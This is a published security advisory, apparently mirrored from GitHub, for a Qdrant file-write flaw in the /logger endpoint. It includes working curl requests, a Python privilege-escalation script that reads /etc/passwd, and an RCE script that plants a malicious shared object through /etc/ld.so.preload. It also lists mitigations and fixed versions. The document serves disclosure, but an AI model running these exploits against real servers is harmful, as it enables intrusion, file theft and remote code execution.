GHSA-F632-VM87-2M2F

Vulnerability from github – Published: 2026-02-05 21:22 – Updated: 2026-02-06 21:43
VLAI
Summary
qdrant has arbitrary file write via `/logger` endpoint
Details

Summary

It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5

Details

POST /logger (Source code link) endpoint accepts an attacker-controlled on_disk.log_file path.

There are no authorization checks (but authentication check is present).

This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.

After running the PoC, the content of config/local.yaml will be:

2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
    static_content_dir: ..

2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391

Some junk log lines are present, but they don't matter as this is still valid yaml.

After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.static_content_dir will be set to ... In a container environment, this allows one to read all files via the web UI path.

Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).

Relevant requests:

  1. Enable on-disk logging to the config file:
curl -sS -X POST "http://localhost:6333/logger" \
  -H "Content-Type: application/json" \
  -d '{
    "log_level":"INFO",
    "on_disk":{
      "enabled":true,
      "format":"text",
      "log_level":"INFO",
      "buffer_size_bytes":1,
      "log_file":"config/local.yaml"
    }
  }'
  1. Inject YAML via a request that logs newlines (URL-encoded):
curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
  -H "Content-Type: application/json" \
  -d '{}'

Full reproduction instructions

  1. Start Qdrant with a writable configuration directory:
sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5
  1. Run the exploit:
% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...
  1. Restart the container:
sudo docker restart qdrant-poc
  1. Resume the exploit:
<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...

Mitigation

  1. Limit usage of /logger endpoint to users with management privileges only (or better disable it completely).
  2. Restrict the path of the log file to a dedicated logs directory.

This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.

Exploit code

exploit_privesc.py

import requests
import sys
import argparse

parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")

args = parser.parse_args()

url = args.url

headers = {}
if args.api_key:
    headers["api-key"] = args.api_key

s = requests.Session()

s.headers.update(headers)

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "config/local.yaml",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")


res = s.patch(
    f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
    json={},
)
error = res.json()["status"]["error"]

if "doesn't exist!" in error:
    print("[+] Log injection successful")
else:
    print(f"[-] Error: {error}")
    sys.exit(1)

res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")

input("Restart Qdrant cluster and press Enter to continue...")

res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")

res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")

exploit_rce.py

import requests
import argparse
import tempfile
import os

TEST_COLLECTION_NAME = "COLTEST"


parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")

args = parser.parse_args()


assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    unlink("/etc/ld.so.preload");
    system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)

with tempfile.TemporaryDirectory() as tmpdir:
    with open(f"{tmpdir}/cmd_code.c", "w") as f:
        f.write(so_code)
    os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
    cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()

url = args.url

headers = {}
if args.api_key:
    headers["api-key"] = args.api_key

s = requests.Session()

s.headers.update(headers)

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "/etc/ld.so.preload",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")

res = s.get(
    f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)

print("[+] Log injected")


res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")


rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})

print(rsp.text)
# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`

input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()

Impact

Remote code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "qdrant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.3"
            },
            {
              "fixed": "1.15.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:22:50Z",
    "nvd_published_at": "2026-02-06T21:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n    static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don\u0027t matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"log_level\":\"INFO\",\n    \"on_disk\":{\n      \"enabled\":true,\n      \"format\":\"text\",\n      \"log_level\":\"INFO\",\n      \"buffer_size_bytes\":1,\n      \"log_file\":\"config/local.yaml\"\n    }\n  }\u0027\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n\u003cpress Enter\u003e\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"config/local.yaml\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n    f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n    json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn\u0027t exist!\" in error:\n    print(\"[+] Log injection successful\")\nelse:\n    print(f\"[-] Error: {error}\")\n    sys.exit(1)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"\u0027\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include \u003cstdlib.h\u003e\n#include \u003cunistd.h\u003e\n\n__attribute__((constructor))\nvoid init() {\n    unlink(\"/etc/ld.so.preload\");\n    system(\"/bin/bash -c \u0027XXXXXXXX\u0027\");\n}\n\"\"\".replace(\u0027XXXXXXXX\u0027, args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n        f.write(so_code)\n    os.system(f\u0027gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c\u0027)\n    cmd_so = open(f\u0027{tmpdir}/cmd.so\u0027, \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"/etc/ld.so.preload\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n    f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.",
  "id": "GHSA-f632-vm87-2m2f",
  "modified": "2026-02-06T21:43:57Z",
  "published": "2026-02-05T21:22:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qdrant/qdrant"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qdrant has arbitrary file write via `/logger` endpoint"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…